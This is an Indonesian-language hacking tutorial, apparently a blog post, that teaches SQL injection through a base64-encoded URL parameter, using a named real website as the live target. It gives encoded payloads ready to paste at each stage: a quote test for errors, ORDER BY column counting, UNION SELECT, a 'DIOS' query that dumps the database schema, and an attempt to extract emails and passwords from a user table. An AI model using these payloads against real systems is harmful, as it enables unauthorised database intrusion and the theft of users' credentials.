-->

Tutorial SQL Injection Parameter Base64 Encoded


Tutorial SQL Injection Parameter Base64 Encoded 
- Pemain sql pasti sudah pernah menemukan website dengan parameter seperti site.com/news-details.php?param=MjI= itu adalah parameter yang ter encrypt base64, sebenarnya mudah untuk melakukan sql injection base64 hanya saja butuh kesabaran.

Live target : https://www.ccbaindia.in/news-details.php?param=MjI=

untuk encoded/decode base64 kalian bisa menggunakan site :

Decode : https://www.base64decode.org/

Encode : https://www.base64encode.org/

(Penjelasan : decode untuk mengubah base64 ke teks, sedangkan encode untuk mengubah text ke base64)

atau kalian juga bisa menggunakan Tools bawaan dari HackBar, namun disini saya tidak akan menggunakan hackbar.

- Pertama kalian decode terlebih dahulu param website tersebut.

MjI= Decode 22


- Untuk mengetahui vuln / tidak encode param 22 menjadi 22'

22' encoded MjIn

- setelah itu masukkan kode yang sudah di encode ke parameter website

contoh : https://www.ccbaindia.in/news-details.php?param=MjIn


website tersebut terdapat pesan error, berarti kita bisa meninjectnya.

- setelah itu kita bisa meninject website tersebut seperti sql injection biasa, namun disini menggunakan base64 jadi kita harus mengubah kode sql injection menjadi base64.

contoh :

22' order by 1-- - di encoded menjadi MjInIG9yZGVyIGJ5IDEtLSAt (lakukan encoded/decode seperti cara diatas)

setelah itu kita masukkan kode base64 tersebut ke parameternya.


- lalu kalian bisa mengubah nomor pada order by (1 - error) sampai website error (jangan lupa di encoded).

22' order by 2-- - Encoded MjInIG9yZGVyIGJ5IDItLSAt --> normal

22' order by 3-- - Encoded MjInIG9yZGVyIGJ5IDMtLSAt --> normal

22' order by 4-- - Encoded MjInIG9yZGVyIGJ5IDQtLSAt --> normal

22' order by 5-- - Encoded MjInIG9yZGVyIGJ5IDUtLSAt --> normal

22' order by 6-- - Encoded MjInIG9yZGVyIGJ5IDYtLSAt --> Error!

Berarti jumlah kolumn ada 5.

- jika sudah, saat mencari angka ajaib.

22' union select 1,2,3,4,5-- - <Encoded> MjInIHVuaW9uIHNlbGVjdCAxLDIsMyw0LDUtLSAt

- jika sudah ketemu angka ajaib, seperti sql inject biasa taruh dios di angka ajaib.

contoh :

22' union select 1,2,<dios>,4,5-- -

menjadi

22' union select 1,2,concat(0x466F6F737465722F6E666578,version(),0x3c62723e,user(),0x3c62723e,database(),0x3c62723e,@c:=0x00,if((select count(*) from information_schema.columns where table_schema not like 0x696e666f726d6174696f6e5f736368656d61 and @c:=concat(@c,0x3c62723e,table_name,0x2e,column_name)),0x00,0x00),@c),4,5-- -

note : ubah dios sesuai dengan dios kalian.

jangan lupa di encode.

MjInIHVuaW9uIHNlbGVjdCAxLDIsY29uY2F0KDB4NDY2RjZGNzM3NDY1NzIyRjZFNjY2NTc4LHZlcnNpb24oKSwweDNjNjI3MjNlLHVzZXIoKSwweDNjNjI3MjNlLGRhdGFiYXNlKCksMHgzYzYyNzIzZSxAYzo9MHgwMCxpZigoc2VsZWN0IGNvdW50KCopIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hIG5vdCBsaWtlIDB4Njk2ZTY2NmY3MjZkNjE3NDY5NmY2ZTVmNzM2MzY4NjU2ZDYxIGFuZCBAYzo9Y29uY2F0KEBjLDB4M2M2MjcyM2UsdGFibGVfbmFtZSwweDJlLGNvbHVtbl9uYW1lKSksMHgwMCwweDAwKSxAYyksNCw1LS0gLQ==

setelah itu taruh di parameter seperti biasa.


- jika column sudah ada, kita tinggal dump database yang kita inginkan, disini saya akan ngedump database yang ada di gambar.

22' union select 1,2,group_concat(column_name,0x3a,column_name2),4,5+from+nama_table-- -

menjadi

22' union select 1,2,group_concat(email_id,0x3a,sr_password),4,5+from+user_master-- -

jangan lupa di encode.

MjInIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGVtYWlsX2lkLDB4M2Esc3JfcGFzc3dvcmQpLDQsNStmcm9tK3VzZXJfbWFzdGVyLS0gLQoK

tapi disini gw g berhasil dump, kalian bisa ganti dios / dump dengan yang lain.

mungkin segitu aj dari gw, jika ada yang salah bisa kalian benarkan di kolom komentar.


Keep calm and Exploit.




See Also :